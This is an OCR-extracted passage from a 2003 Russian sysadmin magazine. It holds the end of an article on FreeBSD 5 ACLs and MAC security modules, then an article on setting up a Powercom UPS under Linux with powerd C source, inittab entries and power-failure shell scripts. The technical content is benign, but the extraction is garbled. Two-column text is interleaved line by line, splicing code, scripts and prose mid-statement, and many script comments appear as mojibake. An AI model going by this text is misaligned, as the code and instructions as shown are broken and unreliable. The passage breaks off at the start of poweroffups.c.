объектов (владелец, группа, остальные).
Итак, как выяснилось, acl – очень полезная техноло-
гия. Для тех кто не может пока представить себе, зачем
это нужно, приведу несколько конкретных примеров:

ключи симметричного шифрования (например, для си-
стемы TSIG DNS-сервера BIND) – такие файлы не дол-
жны иметь возможность читаться всеми, в то же время
желательно, чтобы их владельцем оставался root:wheel
(чтобы злоумышленник не смог изменить атрибуты фай-
ла), тогда удобно установить следующий acl:
# chown root:wheel example.key
# chmod 000 example.key
# setfacl user:bind:r example.key

нередко списки доступа очень удобно применять в mail-
или samba-службах, где требуется разграничить различ-
ных пользователей (например, дать возможность на-
чальству просматривать личные файлы подчиненных).
Вывод: acls – очень полезное средство управления
файлами и каталогами.
Напоследок я бы хотел сказать несколько слов о тех-
нологии MAC, взятой разработчиками FreeBSD 5.0 из про-
екта TrustedBSD (www.trustedbsd.org). Что же может дать
нам эта технология, и вообще, что она из себя представ-
ляет? Итак, в традиционном Unix используются принципы
равноправия всех пользовательских объектов, то есть
пользователь может получить доступ к системным объек-
там, которые принадлежат ему. Технология MAC предпо-
лагает наличие метки уровня безопасности для любого
системного объекта (под этим термином предполагаются
процессы, файлы и каталоги, устройства, пользователи
и т. п.) и строгого разграничения доступа между различ-
ными уровнями (определяется выбранным модулем MAC);
для поддержки технологии MAC нужно указать опцию ком-
пиляции ядра:
options MAÑ
Сама система MAC состоит из набора модулей, вы-
полняющих различные функции, из них можно выделить
как и те, что реализуют политику разграничения доступа
(mac_biba, mac_mls, mac_lomac) так и те, что выполняют
49
 администрирование
разнообразные служебные функции. Для ознакомления с
модулями системы MAC я направляю читателя к FreeBSD
Handbook, так как там все описано достаточно подробно
и нет смысла приводить здесь кучу материала, который
уже есть в разжеванном виде. Далее я просто хочу не-
много поделиться впечатлениями от использования дан-
ной системы. Итак, я скомпилировал ядро с поддержкой
всех MAC-модулей и поправил /boot/defaults/loader.conf для
загрузки модулей при старте системы (дело в том, что
многие модули не могут быть загружены во время рабо-
ты системы и, в первую очередь, это модули, выполняю-
щие разграничение уровней безопасности). Больше все-
го меня привлек модуль mac_bsdextended, позволяющий
создавать правила для доступа к файловым объектам в
стиле ipfw, но, к моему сожалению, команда:
# ugidfw set 1 subject uid 1002 gid 1002 ↵
object uid 1 gid 1 mode arsw
которая должна разрешить чтение, запись, смену атрибу-
тов и административные полномочия (параметр mode
arsw) для пользователя (subject) 1002:1002 над файловы-
ми объектами, принадлежащими (object) пользователю и
группе daemon, почему-то не сработала должным обра-
зом. Далее я проверил работу модуля блокировки ин-
терфейсов mac_ifoff, который блокирует сетевые интер-
фейсы до их явного включения посредством sysctl. Этот
модуль действительно работает так, как сказано в man
4 mac_ifoff – модуль предотвращает «забивание» очере-
ди интерфейса на этапе загрузки системы простым пу-
тем – не давая проходить пакетам до явного использо-
вания команды:
# sysctl security.mac.ifoff.other_enabled=1
Из политик, предусматривающих установку меток бе-
зопасности я отметил некоторую их громоздкость, хотя
идея мне понравилась. Например, хотим сделать так, что-
бы пользователи не имели доступа к процессам login-груп-
пы bind, а также отделить группу user. Идем в файл
login.conf (просмотрев предварительно man 7 maclabel) и
пишем что-нибудь подобное, выполняя разграничение
классов:
default:\
---cutted---
:label=partition/1
bind:\
:label=partition/2
user:\
:label=partition/3
В данном примере пользователям с данным login-клас-
сом устанавливается метка модуля mac_partition, позво-
ляющего выделить до 65535 групп процессов, определя-
емых номером, изолированных друг от друга в адресном
50
пространстве (видны только процессы текущей группы).
Использовать метки в принципе не так уж и сложно, про-
блемы могут возникнуть только со сложными метками
(например, mac_biba), но информацию по формату меток
легко получить из соответствующей страницы man. Учти-
те, что для установки меток mac-файлам используется
команда setfmac label file [file2] ..., имеющая полезную оп-
цию -R (рекурсивность обработки каталогов). Помимо это-
го для установки меток для процессов используется ко-
манда setpmac label command, запускающая процесс
comand с меткой label. Для управления сетевыми интер-
фейсами используется опция ifconfig maclabel label. Для
тех, кто решил воспользоваться преимуществами техно-
логии MAC, я настоятельно рекомендую почитать страни-
цу руководства maclabel(7), где достаточно понятно объяс-
няется формат MAC-метки. Также полезной для рассмот-
рения является страница mac(4), где приводится список
MAC-модулей и соответствующих man-pages. На этом я,
пожалуй, завершу свое краткое описание технологии MAC
(на самом деле технология MAC находится в стадии раз-
вития, поэтому детально все описывать не имеет смысла,
т.к. в скором времени, возможно, изменится многое). Одно
я могу сказать точно: у технологии MAC, несмотря на не-
которую сложность, есть будущее, особенно если учесть
тот факт, что существуют коммерческие решения, обес-
печивающие те же принципы. А MAC бесплатна в рамках
FreeBSD, что тоже немаловажно. Но самое главное – это
новый подход к модели безопасности системы, позволя-
ющий отделить критические объекты от остальных, по-
высив защищенность первых от последних (см. описа-
ния модулей mac_mls и mac_biba). Особенно мне инте-
ресной показалась идея файлового брандмауэра, хотя у
меня она и не заработала. Остается только надеяться, что
в будущих версиях MAC выберется из состояния «экспе-
риментальная», будет более тесно интегрирована с сис-
темой и появятся новые удобные инструменты (впрочем,
никому не возбраняется участвовать в их создании). Но
пока я бы не рекомендовал использовать ее на productive-
серверах, т.к. код еще сырой.
Вывод всей статьи: FreeBSD 5 – это система, вобрав-
шая в себя множество преимуществ и практически не
имеющая (на мой взгляд) недостатков.
Полезные ссылки на различные документы:

www.trustedbsd.org – проект безопасной BSD;

/usr/share/doc/en_US.ISO8859-1/books/handbook/ –
FreeBSD handbook;

man 4 mac – введение в технологию MAC;

http://www.mckusick.com/softdep/ – информация о
SoftUpdates и Snapshots (не освещены в этой статье),
спроектированных в рамках проекта ffs;

http://www.freebsd.org/cgi/man.cgi – ну а как же без этого;

Яремчук С. SELinux. – журнал «Системный админист-
ратор» №5(6), 2003г. – 64-68 с.
hardware

ПЛОХОЕ ЭЛЕКТРОПИТАНИЕ,
ИЛИ
«ГРАБЛИ» С UPS
Подключение источника бесперебойного питания UPS Powercom KIN 625AP

ПАВЕЛ ЗАКЛЯКОВ

52

К сожалению, отечественные сети электропитания не
обеспечивают достаточную стабильность подаваемого
напряжения. Напряжение может изменяться по значению
и пропадать на время от нескольких миллисекунд до не-
скольких часов без предварительного предупреждения.
Данная нестабильность в электропитании есть следствие
особенностей российского законодательства. В идеале
проблемы и последствия сбоев электропитания должны
решать страховые компании и юристы. Однако мы живем
далеко не в идеальной стране, полной исключений. Все
знают, что «русский сервис ненавязчив», и за разумные
деньги выбирать особо не приходится.
Данная статья показывает довольно дешевый вариант
решения проблемы электропитания. Первым этапом за-
щиты серверов от пропадания напряжения служит уста-
новка блоков (источников) бесперебойного питания. Од-
нако покупка дорогих моделей (например, фирмы APC)
не всем по карману. Поэтому всю публику, обслуживаю-
щую сервера, можно разделить на два класса. Первые
покупают профессиональные и, соответственно, дорогие
и качественные модели. В соотношении цена/качество
больше внимания уделяют качеству. Вторые экономят
деньги, собирая сервера в прямом смысле «на коленке»
и в соотношении цена/качество больше смотрят на цену.
Статья рассчитана на вторых, хотя и первые могут почер-
пнуть что-либо полезное для себя.
Многие думают, что покупка ИБП (источников беспе-
ребойного питания, UPS, Uninterruptable Power Supply) есть
решение проблемы. Данная мысль правильная, и любой
ИБП лучше, чем его отсутствие. Увы, но по моим наблю-
дениям, довольно много мелких серверов вообще не за-
щищено ИБП. Хотелось бы администраторов таких сер-
веров убедить в необходимости покупки и последующей
правильной настройке ИБП, а данная статья поможет в
этом. Надеюсь, что убеждать вас в том, что наличие ИБП
в наших условиях необходимо, не стоит. Возникает воп-
рос: «А что купить?» На рынке полно моделей с различ-
ными ценами. Мой выбор пал на UPS Powercom KIN 625AP.
Ðèñóíîê 1.
Данная модель наиболее оптимальна для одного ком-
пьютера-сервера без монитора. Менее емкие модели ме-
нее желательны, так как они не могут использоваться для
подключения монитора. Их емкости хватит на несколько
№8(9), август 2003
hardware
минут, и в момент включения монитора возможен значи-
тельный скачок напряжения, что приведет к перезапуску
компьютера. А по закону подлости у вас обязательно воз-
никнет необходимость администрирования с консоли, если
вы рассчитываете, что вас эта ситуация обойдет сторо-
ной. Более емкие модели дороги, и их излишняя емкость
не будет использоваться. Вопрос в выборе емкости не
такой сложный. Другим критерием выбора ИБП является
возможность создания обратной связи с компьютером и
возможность управления. Есть модели с управлением и
без него. Выбранная мной модель с управлением, и я вам
советую брать такую же. Она стоит несколько дороже, зато
это большой плюс, так как компьютер может оповещать
администратора, сам выключаться и включаться.
Ðèñóíîê 2.
В комплекте к UPS Powercom KIN 625A шли два сете-
вых кабеля на 220 вольт, телефонный кабель и кабель
управления для подключения к COM-порту с разъемом
DB-9. Защита телефонной линии пока мне не понадоби-
лась, несмотря на наличие модема, но потенциально по-
радовала возможность использования ее в будущем.
Ðèñóíîê 3.
Например, при пропадании сети возможен дозвон аль-
тернативному провайдеру и сброс сообщения, однако это
уже тема другой статьи.
53
 hardware
Софта к ИБП под Linux на прилагаемом компакт-дис- *
ке не было. Стандартные средства Linux мне настроить * This program is free software; you can redistribute
* it and/or modify it under the terms of the GNU
не удалось. Возможно, я с ними не до конца разобрался. * General Public License as published by
Поэтому я начал свои поиски в Интернете и нашел следу- * the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
ющие документы: *

Readme of KINMON FOR LINUX; http://www. *
* Update for PowerCom King Pro by Fedor Lizunkov
zelenayavolna.com/download/power1.htm * 2:5020/960@Fidonet 24 May 2000

Cайт фирмы «Зеленая Волна», содержащий програм- */
мы и описания для различных моделей ИБП Powercom, /* state 0 - power is good */
в том числе и программное обеспечение под Linux; http:/ #define T0_SLEEP 10 /* interval between port reads,in seconds */
#define T0_INL 3 /* number of seconds IN LINE has to be 0
/www.zelenayavolna.com/support.asp?cat=81 to cause an action */

Сайт Powercom, раздел download; http://www.pcm.ru/ #define T0_BAT 3 /* number of seconds BATTERY has to be 0
to cause an action */
?p=18 /* state 1 - power is failing */

файл powerd-for-powercom-kin-ups.tar.gz с описанием #define T1_SLEEP 2
#define T1_INL 3
/* interval between ports reads */
/* same as T0_INL */
установки for PowerCom King Pro by Fedor Lizunkov #define T1_BAT 3 /* same as T0_BAT */
2:5020/960@Fidonet*.
#define NUMRECEIVEDBYTES 11 /* out date size from UPS */
#define REQ_01 0x01 /* in date to UPS (request) */
Более полная информация, правда уже на английском #define REQ_03 0x03 /* in date to UPS (self test) */
#define REQ_OFF 0xbc /* first byte for UPS off */
языке и без адаптации для UPS Powercom имеется на сай-
те Red Hat [4]. #define LINE_FAIL 0x01
#define BATT_LOW 0x02
Я вкратце опишу, что было придумано и какие фай- #define UPS_OFF 0x80
лы надо создать и скомпилировать. Желающие могут по- #define BATT_BAD 0x02
искать первоисточники самостоятельно. Однако в этих
источниках не будет сделанных мною дополнений и ис- /* Use the new way of communicating with init. */
#define NEWINIT
правлений.
В powerd-for-powercom-kin-ups.tar.gz имеются как про- #include <sys/types.h>
#include <sys/stat.h>
граммы, так и их исходники на С. Заранее скомпилиро- #include <sys/ioctl.h>
ванные файлы работают у меня без проблем. #include <sys/termios.h>
#include <fcntl.h>
Для компиляции исходников пришлось внести в них #include <errno.h>
изменения, см. ниже. После компиляции полученные фай- #include <stdlib.h>
#include <unistd.h>
лы на правильность работы я не проверял. #include <stdio.h>
Скорее всего, они должны работать не хуже готовых. #include <signal.h>
#include <syslog.h>
Если будут проблемы, то их можно обсудить в форуме #include <string.h>
журнала (http://www.samag.ru/cgi-bin/yabb/YaBB.pl). #include "paths.h"
#ifdef NEWINIT
Дополнительные документацию и программы вы мо- #include "initreq.h"
жете скачать с вышеупомянутых ссылок самостоятельно. #endif
Итак, приступим. #ifndef SIGPWR
Для работы с UPS используются две программы: пер- # define SIGPWR SIGUSR1
#endif
вая, собственно, powerd – демон UPS. Вторая –
poweroffups, котороя выключает UPS. Все должно рабо- #ifdef NEWINIT
void alrm_handler()
тать с «родным» кабелем для подключения к COM-порту, {
если не работает – смотрите далее. }
#endif
/* /* Tell init that the power has gone (1), is back (0),
* powerd Catch power failure signals from or the UPS batteries are low (2). */
* a Trust Energy Protector 400/650 void powerfail(int event)
* and notify init {
* int fd;
* Usage: powerd /dev/cua3 (or any other serial device) #ifdef NEWINIT
* struct init_request req;
* Author: Ciro Cattuto <ciro@stud.unipg.it>
* /* Fill out the request struct. */
* Version 1.0 - 31 March 1997 memset(&req, 0, sizeof(req));
* req.magic = INIT_MAGIC;
* This code is heavily based on the original powerd.c code switch (event)
* by Miquel van Smoorenburg <miquels@drinkel.ow.org>. {
case 0:
req.cmd = INIT_CMD_POWEROK;
break;
case 1:
*Ê ñîæàëåíèþ, ïîñëåäíèé ôàéë ìíîé íå áûë íàéäåí ïî íàçâàíèþ req.cmd = INIT_CMD_POWERFAIL;
è ÿ íå ìîãó äàòü íà íåãî æèâóþ ññûëêó. Ñàì ÿ åãî ñêà÷èâàë break;
íåñêîëüêî ëåò íàçàä è ïîýòîìó îí óñïåë ïðîïàñòü èç ñåòè ê case 2:
default:
ìîìåíòó íàïèñàíèÿ ñòàòüè. req.cmd = INIT_CMD_POWERFAILNOW;
}

54
 hardware
/* Open the fifo (with timeout) */
signal(SIGALRM, alrm_handler); /* Daemonize. */
alarm(3); switch(fork()) {
if ((fd = open(INIT_FIFO, O_WRONLY)) >= 0 case 0: /* Child */
&& write(fd, &req, sizeof(req)) == sizeof(req)) { closelog();
close(fd); setsid();
return; break;
} case -1: /* Error */
/* Fall through to the old method.. */ syslog(LOG_ERR, "can't fork.");
#endif closelog();
exit(1);
/* Create an info file for init. */ default: /* Parent */
unlink(PWRSTAT); closelog();
if ((fd = open(PWRSTAT, O_CREAT|O_WRONLY, 0644)) >= 0) { exit(0);
switch (event) }
{
case 0: /* Restart syslog. */
write(fd, "OK\n", 3); openlog("powerd", LOG_CONS, LOG_DAEMON);
break;
/* Now sample the DCD line. */
case 1: while(1) {
write(fd, "FAIL\n", 5);
break; tcflush (fd, TCIFLUSH);
ret = write(fd, &req_01, 1);
case 2: if (ret <= 0 ) {
default: sleep(10);
write(fd, "LOW\n", 4); continue;
break; }
}
close(fd); sleep(1);
}
counter = 0;
kill(1, SIGPWR); while (counter < NUMRECEIVEDBYTES) {
} ret = read(fd, &in, 1);
if (ret <= 0) {
/* Main program. */ status = -1;
int main(int argc, char *argv[]) break;
{ }
int fd; #ifdef DEBUG
int dtr_bit = TIOCM_DTR; syslog(LOG_DEBUG, "in%d = 0x%x\n", counter, in);
int rts_bit = TIOCM_RTS; #endif
int counter; buf[counter] = in;
int ret; counter++;
unsigned char req_01 = REQ_01; }
unsigned char in;
unsigned char buf[NUMRECEIVEDBYTES]; if ((buf[5] != 0) || (buf[7] != 0) || (buf[8] != 0)) {
int status = -1; /* looks like a transfer error in serial data communication */
int INL; syslog (LOG_WARNING, "Serial data from ups was invalid!");
int BAT; sleep(10);
continue;
struct termios tio; }

int INL_count = 0, BAT_count = 0; if (buf[10] & BATT_BAD) {

int tries; syslog (LOG_WARNING, "UPS`s battery is bad!");
sleep(10);
if (argc < 2) { continue;
fprintf(stderr, "Usage: powerd <device>\n"); }
exit(1);
} INL = (buf[9] & LINE_FAIL) | (buf[9] & UPS_OFF);
BAT = buf[9] & BATT_LOW;
/* Start syslog. */
openlog("powerd", LOG_CONS|LOG_PERROR, LOG_DAEMON); #ifdef DEBUG
syslog(LOG_DEBUG, "INL = 0x%x, BAT = 0x%x\n", INL, BAT);
/* Open monitor device. */ #endif
if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
syslog(LOG_ERR, "%s: %s", argv[1], sys_errlist[errno]); if (status == -1)
closelog(); {
exit(1); status = (INL == 0) ? 0 : 1;
} if (INL)
{
syslog(LOG_ALERT, "Power Failure. UPS active.");
tcgetattr (fd, &tio); powerfail(1);
tio.c_cflag = B1200 | CS8 | CLOCAL | CREAD; }
tio.c_iflag = IGNPAR; }
tio.c_oflag = 0;
tio.c_lflag = 0; switch (status)
tio.c_cc[VMIN] = 1; {
tio.c_cc[VTIME] = 0; case 0:
if ((INL == 0) && (BAT == 0))
tcflush (fd, TCIFLUSH); {
tcsetattr (fd, TCSANOW, &tio); INL_count = 0;
BAT_count = 0;
sleep(T0_SLEEP);
/* DTR is low */ continue;
ioctl(fd, TIOCMBIC, &dtr_bit); }
if (INL != 0)
/* RTS is high */ INL_count++;
ioctl(fd, TIOCMBIS, &rts_bit); if (BAT != 0)

№8(9), август 2003 55

 hardware
BAT_count++; В стандартной установке RedHat 7.3 со средствами
if ((INL_count < T0_INL) && (BAT_count
< T0_BAT)) разработки и языком gcc проблем быть не должно.
{ После компиляции у вас появится файл powerd.
sleep(1);
continue; Запускать его нужно так:
}
if (BAT_count == T0_BAT) # powerd /dev/ttyS?
{
status = 2;
syslog(LOG_ALERT, "UPS batteries low!");
break; где вместо ? следует указывать нужный порт(/dev/ttyS0 –
} означает, что ИБП подключён к COM1. Если у вас ИБП
status = 1;
INL_count = 0; подключён к COM2, то, соответственно, надо писать /dev/
syslog(LOG_ALERT, "Power Failure. UPS active."); ttyS1 и т. д.). У меня это дело запускается из /etc/rc.d/
break;
rc.local.
case 1:
if ((INL != 0) && (BAT == 0)) #!/bin/sh
{ #
INL_count = 0; # This script will be executed *after* all
BAT_count = 0; # the other init scripts.
sleep(T1_SLEEP); # You can put your own initialization stuff in here
continue; # if you don't want to do the full Sys V style init stuff.
}
if (INL == 0) touch /var/lock/subsys/local
INL_count++;
if (BAT != 0) # Äîáàâèòü â êîíåö ôàéëà
BAT_count++; # Add support for the UPS
if ((INL_count < T1_INL) && (BAT_count < T1_BAT)) echo "Starting powerd daemon..."
{ rm -f /etc/turnUPSoff
sleep(1); if [ -x /sbin/powerd ]; then
continue; /sbin/powerd /dev/ttyS0
} fi
if (BAT_count == T1_BAT)
{ # îòïðàâêà ñîîáùåíèÿ îá óñïåøíîì çàïóñêå,
status = 2; # ñì. ïîÿñíåíèÿ â êîíöå ñòàòüè ìîæíî çàêîììåíòèðîâàòü
syslog(LOG_ALERT, "UPS batteries low!"); /sbin/pager/system_up
break;
}
status = 0; Файл /etc/turnUPSoff (его наличие) является флагом,
INL_count = 0; который выставляется, если нужно выключить ИБП – уда-
BAT_count = 0;
syslog(LOG_ALERT, "Power okay."); ляем его при старте системы.
break; Далее правим /etc/inittab, необходимо заменить то, что
case 2: там есть по поводу питания на эти строчки:
sleep(1);
continue; # What to do when power fails (delayed shutdown).
default: pf::powerfail:/etc/powerfail
break;
} # If power is back before shutdown, cancel the running shutdown.
pg::powerokwait:/etc/powerokay
powerfail(status);
} # If UPS batteries are getting low, do an immediate shutdown.
/* Never happens */ pc::powerfailnow:/etc/powerfailnow
return(0);
}
Если закомментировать уже имеющиеся строчки, то
Это powerd.с, его надо скомпилировать. Для этого не- должно получиться следующее:
обходимо найти у себя файл ititreq.h или установить его. У
меня в RedHat 7.3 он находится на CD 4: в /SRPMS/SysVinit- #
# inittab This file describes how the INIT process
2.84-2.src.rpm. Надо либо поставить SysVinit-2.84-2.src.rpm, # should set upthe system in a certain run-level.
либо переписать из него файл ititreq.h. Удобнее всего в mc #
# Author: Miquel van Smoorenburg,
зайти в этот файл, далее в sysvinit-2.84.tar.gz, в директо- # <miquels@drinkel.nl.mugnet.org>
рии /sysvinit-2.84/sys с помощью клавиши F5 вытащить нуж- # Modified for RHS Linux
# by Marc Ewing and Donnie Barnes
ный файл и поместить его рядом с powerd.с. После необхо- #
димо дописать в powerd.с где-нибудь в начале:
# Default runlevel. The runlevels used by RHS are:
/* This is the file needed by SysVInit */ # 0 - halt (Do NOT set initdefault to this)
#define PWRSTAT "/etc/powerstatus" # 1 - Single user mode
# 2 - Multiuser, without NFS
# The same as 3, if you do not have networking)
Далее можно компилировать: # 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# gcc –c powerd.c # 6 - reboot (Do NOT set initdefault to this)
# gcc –o powerd powerd.o #
id:3:initdefault:
либо:
# System initialization.
# gcc powerd.c -o powerd si::sysinit:/etc/rc.d/rc.sysinit

56

l0:0:wait:/etc/rc.d/rc 0 # ýòî ó÷èòûâàòü äîïîëíèòåëüíî.
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2 PID=`ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'`
l3:3:wait:/etc/rc.d/rc 3 if [ "$PID" != "" ]; then kill -9 $PID
l4:4:wait:/etc/rc.d/rc 4 fi
l5:5:wait:/etc/rc.d/rc 5 # ñîçäàåì ôàéë, ñëóæàùèé ôëàãîì âûêëþ÷åíèÿ ÈÁÏ, â íåãî ïèøåì äàòó
l6:6:wait:/etc/rc.d/rc 6 # â ôîðìàòå RFC, ÷òîáû íàì ïîòîì áûëî óäîáíåå ïîíÿòü, êîãäà áûë
# Things to run in every runlevel.
ud::once:/sbin/update
# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
# What to do when power fails (delayed shutdown).
pf::powerfail:/etc/powerfail
# If power is back before shutdown, cancel the running shutdown.
pg::powerokwait:/etc/powerokay
# If UPS batteries are getting low, do an immediate shutdown.
pc::powerfailnow:/etc/powerfailnow
# When our UPS tells us power has failed, assume we have
# a few minutes of power left.
# Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed
# and your UPS connected and working correctly.
#pf::powerfail:/sbin/shutdown -f -h +2 ↵
#"Power Failure; System Shutting Down"
# If power was restored before
# the shutdown kicked in, cancel it.
#pr:12345:powerokwait:/sbin/shutdown -c ↵
#"Power Restored; Shutdown Cancelled"
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon
Далее нам необходимо создать файлы:

/etc/powerfail – будет запускаться при пропадании на-
пряжения;

/etc/powerokay – будет запускаться, если после пропа-
дания напряжения питание восстановится, а компью-
тер к этому времени еще не выключится;

/etc/powerfailnow – будет запускаться, когда батарея
ИБП села и долго не сможет работать в случае пропа-
дания напряжения.
Возможно, эти файлы будут запускать другие, кото-
рые будут сигнализировать нам о своем запуске и делать
другие действия, об этом речь пойдет ниже.
/etc/powerfail
#!/bin/sh
# ôàéë /etc/powerfail çàïóñêàåòñÿ ïðè ïðîïàäàíèè ýëåêòðîïèòàíèÿ
# Ñáðàñûâàåì êýøè è ñèíõðîíèçèðóåì ñîäåðæèìîå äèñêîâ
# ñ èõ ÷àñòè÷íûìè îáðàçàìè â ïàìÿòè.
/bin/sync
# Ïðîâåðÿåì, íå çàïóùåíà ëè ó íàñ ïðîãðàììà shutdown, íàïðèìåð,
# íà âûêëþ÷åíèå ÷åðåç ñóòêè, åñëè çàïóùåíà, òî âû÷èñëÿåì åå PID
# è çàâåðøàåì åå. Âìåñòî íåå áóäåò âèñåòü ýêçåìïëÿð íà çàâåðøåíèå
# ÷åðåç 10 ìèíóò.  ñëó÷àå ïîñëåäóþùåãî âîçíèêíîâåíèÿ ïèòàíèÿ
# çàâåðøåííûé ýêçåìïëÿð shutdown íà âûêëþ÷åíèå ñèñòåìû âîñòàíîâ-
# ëåí íå áóäåò, è ñèñòåìà ÷åðåç ñóòêè íå âûêëþ÷èòñÿ. Íåîáõîäèìî
№8(9), август 2003
hardware
# ñîçäàí ôàéë è ïðîïàëî íàïðÿæåíèå. Â ïðèíöèïå â ôàéë ìîæíî
# íè÷åãî íå ïèñàòü, òàê êàê ìîæíî ïðîñòî ïîñìîòðåòü âðåìÿ åãî
# ñîçäàíèÿ.
date -R>/etc/turnUPSoff
# çàïóñêàåì â ôîíîâîì ðåæèìå ñêðèïò, îñóùåñòâëÿþùèé ñèãíàëèçàöèþ
# î ïðîïàäàíèè ïèòàíèÿ
/sbin/pager/power_fail &
# çàïóñêàåì âûêëþ÷åíèå ñèñòåìû ñ îòñðî÷êîé íà 10 ìèíóò
/sbin/shutdown -t30 -r +10 "POWER FAILURE"
/etc/powerokay
#!/bin/sh
# ôàéë /etc/powerokay,
# çàïóñêàåòñÿ â ñëó÷àå âîçâðàùåíèÿ ýëåêòðîïèòàíèÿ
# çàâåðøàåòñÿ ïðîöåññ powerfail,
# èíèöèèðîâàâøèé çàïóñê âûêëþ÷åíèÿ ïèòàíèÿ,
# à âìåñòå ñ íèì è âñå åãî ïîòîìêè,
# â òîì ÷èñëå è çàïóùåííûé èç íåãî shutdown
kill `ps auxw | grep "powerfail" | grep -v grep | awk '{print $2}'`
# Óáèðàåòñÿ ôëàã âûêëþ÷åíèÿ ÈÁÏ ïðè âûêëþ÷åíèè ñèñòåìû.
rm -f /etc/turnUPSoff
# Ïîñûëàåòñÿ ñîîáùåíèå î âîññòàíîâëåíèè ïèòàíèÿ è
# ñèñòåìà, ïðè íåîáõîäèìîñòè âîçâðàùàåòñÿ â óðîâåíü 3.
# Åñëè íà ñåðâåðå åñòü íàäîáíîñòü â çàïóùåííûõ X-Window,
# òî ñëåäóåò âíåñòè èçìåíåíèÿ ñàìîñòîÿòåëüíî.
/sbin/shutdown -c "THE POWER IS BACK"
/sbin/init 3
# çàïóñêàåòñÿ ñêðèïò, îòñûëàþùèé ñîîáùåíèå
# î âîñòàíîâëåíèè ýëåêòðîïèòàíèÿ
/sbin/pager/power_okay
/etc/powerfailnow
#!/bin/sh
# ôàéë /etc/powerfailnow, çàïóñêàåòñÿ ïðè ðàçðÿäå áàòàðåé â ÈÁÏ
# Ñáðàñûâàåì êýøè è ñèíõðîíèçèðóåì ñîäåðæèìîå äèñêîâ
# ñ èõ ÷àñòè÷íûìè îáðàçàìè â ïàìÿòè.
/bin/sync
# Ïðîâåðÿåì, íå çàïóùåíà ëè ó íàñ ïðîãðàììà shutdown,
# íàïðèìåð, íà âûêëþ÷åíèå ÷åðåç ñóòêè, åñëè çàïóùåíà,
# òî âû÷èñëÿåì åå PID è çàâåðøàåì åå. Âìåñòî íåå áóäåò
# âèñåòü ýêçåìïëÿð íà çàâåðøåíèå ÷åðåç 10 ìèíóò.
#  ñëó÷àå ïîñëåäóþùåãî âîçíèêíîâåíèÿ ïèòàíèÿ
# çàâåðøåííûé ýêçåìïëÿð shutdown íà âûêëþ÷åíèå ñèñòåìû
# âîñcòàíîâëåí íå áóäåò, è ñèñòåìà ÷åðåç ñóòêè íå âûêëþ÷èòñÿ.
# Íåîáõîäèìî ýòî ó÷èòûâàòü äîïîëíèòåëüíî.
PID=`ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'`
if [ "$PID" != "" ]; then kill -9 $PID
fi
# ñîçäàåì ôàéë, ñëóæàùèé ôëàãîì âûêëþ÷åíèÿ ÈÁÏ,
# â íåãî ïèøåì äàòó â ôîðìàòå RFC, ÷òîáû ïîòîì áûëî
# óäîáíåå ïîíÿòü, êîãäà áûë ñîçäàí ôàéë è ïðîïàëî íàïðÿæåíèå.
#  ïðèíöèïå â ôàéë ìîæíî íè÷åãî íå ïèñàòü,
# òàê êàê ìîæíî ïðîñòî ïîñìîòðåòü âðåìÿ åãî ñîçäàíèÿ.
date -R>/etc/turnUPSoff
# çàïóñêàåì êîìàíäó íà âûêëþ÷åíèå ñèñòåìû ïðÿìî ñåé÷àñ
/sbin/shutdown -r now "UPS batteries low. IMMEDIATE SHUTDOWN."
# Åñëè óñïåâàåì, òî ïîñûëàåì ñîîáùåíèå àäìèíèñòðàòîðó
# î òîì, ÷òî èäåò ýêñòðåííîå âûêëþ÷åíèå, âîçìîæíî,
# ðàçóìíåå ðàçìåñòèòü îòñûëêó ñîîáùåíèÿ î âûêëþ÷åíèè
# ïåðåä êîìàíäîé íà âûêëþ÷åíèå, îäíàêî
# åñëè áàòàðåÿ ðàáîòàåò íà ïîñëåäíåì èçäûõàíèè, òî
57
 hardware
# ìîæåò ýòîãî íå ñëó÷èòüñÿ, à êîìïüþòåð íå óñïååò рой – количество секунд, через которое следует выклю-
# âûêëþ÷èòüñÿ ïðàâèëüíî, ÷òî ìîæåò
# ïðèâåñòè ê áîëüøèì ñáîÿì è ïîòåðÿì äàííûõ. чить ИБП. Если число секунд не задано, то выключение
/sbin/pager/power_failnow происходит через 15 секунд.
Этим файлам следует придать атрибут запускаемости: Чтобы выключение ИБП происходило при выключении
компьютера, необходимо подправить файл /etc/rc.d/init.d/
# chmod +x /etc/powerfail halt, дописав туда следующие строчки в самом конце пе-
# chmod +x /etc/powerokay
# chmod +x /etc/powerfailnow ред eval «$command $HALTARGS» или «eval $command –
i –d –p»:
Также в целях безопасности можно изменить права на
доступ, устанавливаемые по умолчанию. # Äîáàâèòü â êîíåö ôàéëà ïåðåä ñòðîêîé
# "eval $command $HALTARGS" èëè "eval
При выключении питания разумно выключить и сам $command -i -d -p"
ИБП, чтобы он не работал вхолостую (на ИБП без управ- # Is this a powerfail situation?
if [ -f /etc/turnUPSoff ]; then
ления такое сделать сложно). Для этого необходимо ском- echo "Turning off UPS. Bye."
пилировать файл poweroffups.c (Примечание: изначаль- /sbin/poweroffups /dev/ttyS0 5
# exit 1
но файл назывался poweroff.c, но чтобы не возникало кон- fi
фликтов, так как запускаемый файл poweroff уже есть, то
я его переименовал.) Проверяется, установлен ли флаг на выключение, то
есть имеется ли файл /etc/turnUPSoff. Далее при его на-
/* poweroffups program for UPS Powercom King Pro. личии запускается программа, которая передает ИБП па-
(c) Fedor Lizunkov 2:5020/960@Fidonet
26 May 2000 */ раметры на выключение, соответственно, /dev/ttyS0 так-
же означает, что ИБП подключен к COM1, а 5 означает,
#include <sys/types.h>
#include <sys/stat.h> что систему надо выключить через 5 секунд.
#include <sys/fcntl.h> Теперь, после установки, когда в теории у вас все дол-
#include <stdio.h>
#include <unistd.h> жно заработать (кроме пейджинга), давайте рассмотрим
возможные проблемы, дабы избежать повторного «насту-
